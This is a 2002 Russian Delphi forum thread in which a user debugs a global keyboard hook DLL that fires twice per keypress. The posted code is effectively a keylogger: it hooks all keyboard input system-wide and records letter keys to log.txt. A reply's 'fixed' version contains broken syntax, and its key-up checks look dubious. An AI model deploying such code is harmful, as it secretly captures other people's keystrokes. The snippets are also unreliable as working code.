![]() |
| ||
|
|
Новости |
Поиск |
FAQ |
Статьи |
Книги |
Новости VCL
| | Форумы ЧАТ |
Орешник |
|
| |||
| |||
« предыдущая ветвь | форум | следующая ветвь »
Народ! Подскажите, что это за глюк! [D5, Win95/98]
Serg001 © (2002-02-02 16:09:00)Поставил глобальный hook на keyboard и сама функция hook выполняется при одном нажатии клавиши дважды, почему?
Dimaond Cat (2002-02-05 01:02:00) [1]А зачем два раза делать CallNextHookEx
попробуй так
function GlobalKeyBoardHook(code: integer; wParam: word; lParam: longword): longword; stdcall;
begin
code=hc_action then begin
if ((lParam and KF_UP)=0) and (wParam>=65) and (wParam<=90) then begin
Key:=char(wParam);
if fileexists("log.txt")=false then rewrite(CurFile);
write(CurFile, Key);
end;
end
result:=CallNextHookEx(CurrentHook, code, wParam, lparam);
end;
если не заработает пиши поделюсь примером
Serg001 (2002-02-03 07:49:00) [2]Неужели никто не поможет?
Serg001 (2002-02-03 07:00:00) [3]
library HookDll;
uses Windows, SysUtils;
var CurrentHook: HHook;
Key: char;
CurFile: text;
function GlobalKeyBoardHook(code: integer; wParam: word; lParam: longword): longword; stdcall;
begin
if code<0 then begin
GlobalKeyBoardHook:=CallNextHookEx(CurrentHook,code,wParam,lparam);
Exit;
end;
if ((lParam and KF_UP)=0) and (wParam>=65) and (wParam<=90) then begin
Key:=char(wParam);
if fileexists("log.txt")=false then rewrite(CurFile);
write(CurFile, Key);
end;
CallNextHookEx(CurrentHook, code, wParam, lparam);
GlobalKeyBoardHook:=0;
Exit;
end;
procedure SetupGlobalKeyBoardHook;
begin
CurrentHook:=SetWindowsHookEx(WH_KEYBOARD, @GlobalKeyBoardHook, HInstance, 0);
assignfile(CurFile,"log.txt");
If fileexists("log.txt")=false then rewrite(CurFile) else Append(CurFile);;
end;
procedure unhook;
begin
UnhookWindowshookEx(CurrentHook);
closefile(CurFile);
end;
exports SetupGlobalKeyBoardHook index 1,
UnHook index 2;
begin
end.
Builder (2002-02-02 17:48:00) [4]Покажи, как твы поставил хук. Посмотрим.
Serg001 (2002-02-02 17:00:00) [5]Не помогает.
DMN (2002-02-02 16:51:00) [6]В callback-функцию передается lParam, старший бит которого указывает, была клавиша нажата или отпущена.
if ((lParam and $800000)=0) then
//нажата
else
//отпущена
Serg001 (2002-02-02 16:40:00) [7]Неужели никто не знает?
Serg001 (2002-02-02 16:21:00) [8]>kaif
А если так, то как это исправить?
kaif (2002-02-02 16:16:00) [9]Возможно это связано с тем, что клавиатура дважды посылает скан-код. Первый раз - в момент нажатия, второй - в момент отпускания клавиши. Хотя боюсь соврать.